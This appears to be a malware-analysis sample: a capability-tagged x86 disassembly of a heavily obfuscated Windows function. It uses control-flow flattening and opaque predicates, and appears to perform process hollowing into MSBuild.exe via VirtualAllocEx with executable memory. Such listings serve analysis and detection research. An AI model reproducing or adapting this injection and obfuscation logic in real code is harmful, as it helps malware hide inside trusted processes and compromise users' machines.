Function at 0x100035d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x110
mov eax, dword [0x10068800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x3d42dc6e
sub edx, 1
sub edx, 0x3d42dc6e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x112], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x111], al
mov dword [ebp - 0x118], 0x6237f7e
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x11c], eax
sub eax, 0x803906f6
je 0x10007f02
jmp 0x1000364b
mov eax, dword [ebp - 0x11c]
sub eax, 0x803f5f51
je 0x1000a559
jmp 0x10003661
mov eax, dword [ebp - 0x11c]
sub eax, 0x8435e54c
je 0x10005eb9
jmp 0x10003677
mov eax, dword [ebp - 0x11c]
sub eax, 0x84ce6f92
je 0x10009a49
jmp 0x1000368d
mov eax, dword [ebp - 0x11c]
sub eax, 0x857e9972
je 0x10009595
jmp 0x100036a3
mov eax, dword [ebp - 0x11c]
sub eax, 0x85dda060
je 0x10006ded
jmp 0x100036b9
mov eax, dword [ebp - 0x11c]
sub eax, 0x86aabae3
je 0x10009c06
jmp 0x100036cf
mov eax, dword [ebp - 0x11c]
sub eax, 0x87d17471
je 0x10005f50
jmp 0x100036e5
mov eax, dword [ebp - 0x11c]
sub eax, 0x8877d7a5
je 0x10008028
jmp 0x100036fb
mov eax, dword [ebp - 0x11c]
sub eax, 0x88d557be
je 0x10008f47
jmp 0x10003711
mov eax, dword [ebp - 0x11c]
sub eax, 0x89027950
je 0x1000acd6
jmp 0x10003727
mov eax, dword [ebp - 0x11c]
sub eax, 0x89a9566f
je 0x10006d41
jmp 0x1000373d
mov eax, dword [ebp - 0x11c]
sub eax, 0x89fd9ff8
je 0x10006396
jmp 0x10003753
mov eax, dword [ebp - 0x11c]
sub eax, 0x8ab7d12a
je 0x1000b52f
jmp 0x10003769
mov eax, dword [ebp - 0x11c]
sub eax, 0x8b67b1c4
je 0x1000753b
jmp 0x1000377f
mov eax, dword [ebp - 0x11c]
sub eax, 0x8d381084
je 0x10008298
jmp 0x10003795
mov eax, dword [ebp - 0x11c]
sub eax, 0x8dcb3fdc
je 0x1000b077
jmp 0x100037ab
mov eax, dword [ebp - 0x11c]
sub eax, 0x8dee88c5
je 0x1000ba59
jmp 0x100037c1
mov eax, dword [ebp - 0x11c]
sub eax, 0x8df0376b
je 0x1000b9db
jmp 0x100037d7
mov eax, dword [ebp - 0x11c]
sub eax, 0x8f344f4d
je 0x1000aa59
jmp 0x100037ed
mov eax, dword [ebp - 0x11c]
sub eax, 0x8fa6e036
je 0x10008420
jmp 0x10003803
mov eax, dword [ebp - 0x11c]
sub eax, 0x8ffbe757
je 0x1000918f
jmp 0x10003819
mov eax, dword [ebp - 0x11c]
sub eax, 0x8ffe41a5
je 0x10007d7d
jmp 0x1000382f
mov eax, dword [ebp - 0x11c]
sub eax, 0x9006558d
je 0x1000b3e2
jmp 0x10003845
mov eax, dword [ebp - 0x11c]
sub eax, 0x903875a2
je 0x100064dd
jmp 0x1000385b
mov eax, dword [ebp - 0x11c]
sub eax, 0x90a21751
je 0x10008399
jmp 0x10003871
mov eax, dword [ebp - 0x11c]
sub eax, 0x90b1d43e
je 0x1000b694
jmp 0x10003887
mov eax, dword [ebp - 0x11c]
sub eax, 0x90d09b47
je 0x1000b676
jmp 0x1000389d
mov eax, dword [ebp - 0x11c]
sub eax, 0x9180bc4a
je 0x1000b259
jmp 0x100038b3
mov eax, dword [ebp - 0x11c]
sub eax, 0x92159dd0
je 0x10009050
jmp 0x100038c9
mov eax, dword [ebp - 0x11c]
sub eax, 0x945c7e55
je 0x1000609a
jmp 0x100038df
mov eax, dword [ebp - 0x11c]
sub eax, 0x94999263
je 0x10008327
jmp 0x100038f5
mov eax, dword [ebp - 0x11c]
sub eax, 0x95e31812
je 0x10009390
jmp 0x1000390b
mov eax, dword [ebp - 0x11c]
sub eax, 0x95f5f157
je 0x10008652
jmp 0x10003921
mov eax, dword [ebp - 0x11c]
sub eax, 0x96e27a74
je 0x1000a487
jmp 0x10003937
mov eax, dword [ebp - 0x11c]
sub eax, 0x975a93b6
je 0x100078ac
jmp 0x1000394d
mov eax, dword [ebp - 0x11c]
sub eax, 0x97b0ed9d
je 0x10007686
jmp 0x10003963
mov eax, dword [ebp - 0x11c]
sub eax, 0x9864bc2d
je 0x1000842f
jmp 0x10003979
mov eax, dword [ebp - 0x11c]
sub eax, 0x99239680
je 0x1000749a
jmp 0x1000398f
mov eax, dword [ebp - 0x11c]
sub eax, 0x9a123425
je 0x100080f9
jmp 0x100039a5
mov eax, dword [ebp - 0x11c]
sub eax, 0x9a5b6043
je 0x10006379
jmp 0x100039bb
mov eax, dword [ebp - 0x11c]
sub eax, 0x9a84fd23
je 0x10007237
jmp 0x100039d1
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b580805
je 0x100061e1
jmp 0x100039e7
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b6bee33
je 0x1000748b
jmp 0x100039fd
mov eax, dword [ebp - 0x11c]
sub eax, 0x9bec81af
je 0x10007387
jmp 0x10003a13
mov eax, dword [ebp - 0x11c]
sub eax, 0x9c3ad694
je 0x1000a08f
jmp 0x10003a29
mov eax, dword [ebp - 0x11c]
sub eax, 0x9c5d1220
je 0x1000b3b2
jmp 0x10003a3f
mov eax, dword [ebp - 0x11c]
sub eax, 0x9df12d85
je 0x1000b391
jmp 0x10003a55
mov eax, dword [ebp - 0x11c]
sub eax, 0x9e024913
je 0x1000b8a1
jmp 0x10003a6b
mov eax, dword [ebp - 0x11c]
sub eax, 0x9e078cf7
je 0x1000a54a
jmp 0x10003a81
mov eax, dword [ebp - 0x11c]
sub eax, 0x9f82a8d4
je 0x10005d71
jmp 0x10003a97
mov eax, dword [ebp - 0x11c]
sub eax, 0xa0e4936a
je 0x1000b655
jmp 0x10003aad
mov eax, dword [ebp - 0x11c]
sub eax, 0xa15eb306
je 0x1000b550
jmp 0x10003ac3
mov eax, dword [ebp - 0x11c]
sub eax, 0xa1837e5d
je 0x1000914d
jmp 0x10003ad9
mov eax, dword [ebp - 0x11c]
sub eax, 0xa210176a
je 0x100079ec
jmp 0x10003aef
mov eax, dword [ebp - 0x11c]
sub eax, 0xa244eaa1
je 0x1000b973
jmp 0x10003b05
mov eax, dword [ebp - 0x11c]
sub eax, 0xa2bb0dc8
je 0x10009301
jmp 0x10003b1b
mov eax, dword [ebp - 0x11c]
sub eax, 0xa2e165f6
je 0x10009c94
jmp 0x10003b31
mov eax, dword [ebp - 0x11c]
sub eax, 0xa37b4a8e
je 0x10005f99
jmp 0x10003b47
mov eax, dword [ebp - 0x11c]
sub eax, 0xa396fb7f
je 0x10007228
jmp 0x10003b5d
mov eax, dword [ebp - 0x11c]
sub eax, 0xa4498b7b
je 0x1000712a
jmp 0x10003b73
mov eax, dword [ebp - 0x11c]
sub eax, 0xa4a7a776
je 0x1000799b
jmp 0x10003b89
mov eax, dword [ebp - 0x11c]
sub eax, 0xa4af77d0
je 0x10007089
jmp 0x10003b9f
mov eax, dword [ebp - 0x11c]
sub eax, 0xa57e0504
je 0x100082e9
jmp 0x10003bb5
mov eax, dword [ebp - 0x11c]
sub eax, 0xa5ccde29
je 0x10007366
mov dword [ebp - 0x118], 0xef43620c
jmp 0x1000ba72
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10018244]
movss dword [eax], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x22acd100
sub edx, 1
sub edx, 0x22acd100
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x78c4ce21
mov ecx, 0xecd3d978
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda1ac9c6
mov ecx, 0xa37b4a8e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xda1ac9c6
mov ecx, 0xb315d2e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10018240]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001823c]
movss dword [eax], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x649ecc40
sub edx, 1
add edx, 0x649ecc40
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd6ec104f
mov ecx, 0xb38a7677
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x8747e929
sub edx, 1
add edx, 0x8747e929
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6a0f913
mov ecx, 0x1b256a6b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov dl, 1
mov eax, 0xa9e4cc0f
mov ecx, 0x89fd9ff8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001838c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10018388]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xdd0b7a04
jmp 0x1000ba72
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x80f91a6d
sub edx, 1
sub edx, 0x80f91a6d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa4d3f78
mov ecx, 0x7b035a7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x4ebab8ab
sub edx, 1
sub edx, 0x4ebab8ab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd52f5be2
mov ecx, 0x578bad7c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov dword [ebp - 0x118], 0x440fe1d4
jmp 0x1000ba72
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10018340]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x5907e093
jmp 0x1000ba72
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x4a03fa3b
sub edx, 1
add edx, 0x4a03fa3b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9c5d1220
mov ecx, 0xbfcbe5b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov dword [ebp - 0x118], 0x9a84fd23
jmp 0x1000ba72
mov dl, 1
mov eax, 0xef9b6e04
mov ecx, 0x69eeb7d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10018320]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xc8b1932b
jmp 0x1000ba72
mov dword [ebp - 0x118], 0x99239680
jmp 0x1000ba72
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001831c]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x55bbe848
mov ecx, 0xfe0d22a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10018200]
movss dword [eax], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0xfc17a9a4
sub edx, 1
add edx, 0xfc17a9a4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf8f80222
mov ecx, 0x30146db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov dword [ebp - 0x118], 0x3d2e1915
jmp 0x1000ba72
mov dword [ebp - 0x118], 0xb5d80768
jmp 0x1000ba72
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xbe7a9dd9
sub edx, 1
sub edx, 0xbe7a9dd9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x41b431fa
mov ecx, 0xa210176a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xb1503bba
sub edx, 1
sub edx, 0xb1503bba
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x41b431fa
mov ecx, 0x31026007
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100182f0]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xfe716a73
jmp 0x1000ba72
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100182e4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100182e0]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x630a22c6
jmp 0x1000ba72
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc891cc
mov ecx, 0x766009a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov dword [ebp - 0x118], 0xd92c245
jmp 0x1000ba72
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x5ba1a5d0
sub edx, 1
sub edx, 0x5ba1a5d0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x24cf4f4
mov ecx, 0xa57e0504
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov dl, 1
mov eax, 0x7063ddd8
mov ecx, 0x4f7695cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100182cc]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x7063ddd8
jmp 0x1000ba72
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100181d4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100181d0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100181cc]
movss dword [eax], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xf6f6d861
sub edx, 1
sub edx, 0xf6f6d861
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1ea1b644
mov ecx, 0x8fa6e036
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov dword [ebp - 0x118], 0x9864bc2d
jmp 0x1000ba72
mov dl, 1
mov eax, 0xeef0efc6
mov ecx, 0xe20e450c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100182bc]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x68ce5130
jmp 0x1000ba72
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10018274]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x6c589afc
jmp 0x1000ba72
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10018270]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x60e193dd
jmp 0x1000ba72
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001826c]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xe8ea29cd
jmp 0x1000ba72
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018264]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x5cafd221
jmp 0x1000ba72
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100181a8]
movss dword [eax], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x24d06161
mov ecx, 0x3d3c185e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018260]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x634b6280
jmp 0x1000ba72
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xe242e44a
sub edx, 1
sub edx, 0xe242e44a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1a366317
mov ecx, 0x557c49a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x49800
call section..text
add esp, 8
mov eax, dword [ebp - 0xf0]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x153384ec
mov ecx, 0x714e1d0c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov dword [ebp - 0x118], 0xdacefca4
jmp 0x1000ba72
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xd8]
mov byte [eax], cl
mov eax, dword [ebp - 0xd4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov dl, byte [eax]
mov eax, 0xa968553d
mov ecx, 0x1d414061
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xe0]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov edx, dword [ebp - 0xcc]
mov eax, 0xcb710cc7
mov ecx, 0x240a98fb
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x824e996
sub edx, 1
sub edx, 0x824e996
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb9d18d8b
mov ecx, 0xdd4c0e48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov dword [ebp - 0x118], 0x803f5f51
jmp 0x1000ba72
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x5c]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xb0]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0x64]
mov eax, 0xe8263917
mov ecx, 0xbe18c19a
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov dl, byte [ebp - 0x29]
mov eax, 0x79318df4
mov ecx, 0xdcb46929
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov ecx, dword [ebp - 0x20]
add ecx, 0x8e7ad8bb
add ecx, 1
sub ecx, 0x8e7ad8bb
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov dword [ebp - 0x118], 0x89fe28e
jmp 0x1000ba72
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x98b487d6
sub edx, 1
sub edx, 0x98b487d6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8dee88c5
mov ecx, 0xc5756e07
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000ba72
mov dword [ebp - 0x118], 0x4ea09e79
jmp 0x1000ba72
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10018210]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x8ef5939
jmp 0x1000ba72
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001820c]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xbfcbe5b6
jmp 0x1000ba72
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10018208]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10018204]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xac72dba2
jmp 0x1000ba72
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181dc]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xc153a24d
jmp 0x1000ba72
mov dword [ebp - 0x118], 0x7652874d
jmp 0x1000ba72
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100181bc]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x537f1da6
jmp 0x1000ba72
mov dword [ebp - 0x118], 0x29a77b99
jmp 0x1000ba72
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100181b8]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xdd56d3b3
jmp 0x1000ba72
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x118], 0xe531096d
jmp 0x1000ba72
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x118], 0x1416637c
jmp 0x1000ba72
mov dword [ebp - 0x118], 0xcfe66d3a
jmp 0x1000ba72
mov dword [ebp - 0x118], 0x8dcb3fdc
jmp 0x1000ba72
jmp 0x1000362f